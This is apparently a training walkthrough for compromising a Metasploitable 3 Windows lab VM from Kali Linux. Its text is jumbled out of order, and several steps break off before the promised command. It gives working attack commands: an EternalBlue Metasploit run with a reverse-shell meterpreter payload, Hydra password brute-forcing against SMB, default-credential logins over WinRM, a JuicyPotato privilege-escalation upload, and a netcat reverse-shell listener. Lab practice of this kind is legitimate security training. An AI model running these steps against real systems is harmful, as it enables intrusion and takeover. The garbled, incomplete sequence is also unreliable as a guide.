enum4linux -a 192.168.56.102 Look for the share list. You will likely see C$ (Admin share) and ADMIN$ . But also look for a share named vulnshare or similar. Note the OS version: . This OS is out of support—perfect. Part 3: The Web Attack Surface (Low Hanging Fruit) 3.1 IIS Default Page (Port 80) Navigate to http://192.168.56.102 in Firefox. You see the IIS welcome screen. Not much here yet, but directory busting is required.

upload JuicyPotato.exe C:\temp\ Then run:

Introduction: Why Attack What is Already Broken? In the world of cybersecurity, you cannot defend what you do not understand. For years, Metasploitable 2 has been the golden standard for practicing ethical hacking—a Linux-based treasure trove of vulnerabilities. However, as enterprise environments shift, so too must our training grounds.

Upload JuicyPotato.exe via Evil-WinRM:

Once in Jenkins, go to "Manage Jenkins" -> "Script Console". This is a Groovy script executor. You can run:

This walkthrough will guide you from initial reconnaissance to full system control. We will use Kali Linux as our attack platform and target .

If successful, you get a java shell. But we need to escalate to Windows cmd.exe . This is what most tutorials focus on, but caution: Metasploitable 3 is patched for EternalBlue (MS17-010) if you built it recently? Actually, no. By design, certain builds leave it vulnerable. Step 4.1: Check for MS17-010 nmap --script smb-vuln-ms17-010 -p 445 192.168.56.102 If it says VULNERABLE , proceed. If not, move to the next part (no worries, there are 20 other ways in). Step 4.2: Using EternalBlue (If vulnerable) msfconsole msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 > set RHOSTS 192.168.56.102 msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 > set LHOST 192.168.56.101 msf6 > exploit Success: You now have a SYSTEM level Meterpreter session. Game over. But if the exploit crashes the target (known issue), switch to ms17_010_psexec . Part 5: The "Always Works" Method – WinRM & CrackMapExec Because Metasploitable 3 has weak credentials, we can bypass complex exploitation entirely. Step 5.1: Credential Brute Force (Hydra) hydra -l administrator -P /usr/share/wordlists/rockyou.txt 192.168.56.102 smb The password is often vagrant or mcpassword123 . (Check the Vagrant build files). Step 5.2: WinRM PowerMove If you have vagrant:vagrant or administrator:vagrant , you can use WinRM.

dir /s /b C:\*flag* dir /s /b C:\*proof* Usually located in C:\flags\ or C:\Users\Administrator\Desktop\proof.txt . "EternalBlue crashes the machine!" Metasploitable 3 is notoriously unstable under heavy SMB exploits. Solution: Don't use EternalBlue. Use exploit/windows/smb/ms17_010_psexec instead, which is less aggressive, or stick to WinRM. "I can't access port 445 from Kali." Windows Firewall might be blocking it. Revert the VM snapshot. Metasploitable 3 resets firewall rules on boot, but sometimes virtualization interfaces change. Ensure both VMs are on the exact same Host-Only adapter. "The Jenkins console is locked." The default credentials changed. Check the build.log from when you created the VM. Alternatively, try admin:admin , vagrant:vagrant , or blank. "My reverse shell isn't connecting." Windows Firewall is blocking inbound connections, but outbound is usually open. Ensure your Kali listener ( nc -lvnp 4444 ) is running. Use LHOST=192.168.56.101 and ensure no host firewall on Kali is blocking. Conclusion: What Did We Learn? This walkthrough of Metasploitable 3 Windows demonstrates a critical truth: Complex exploits (EternalBlue) are cool, but simple misconfigurations (WinRM with weak passwords) are how real breaches happen.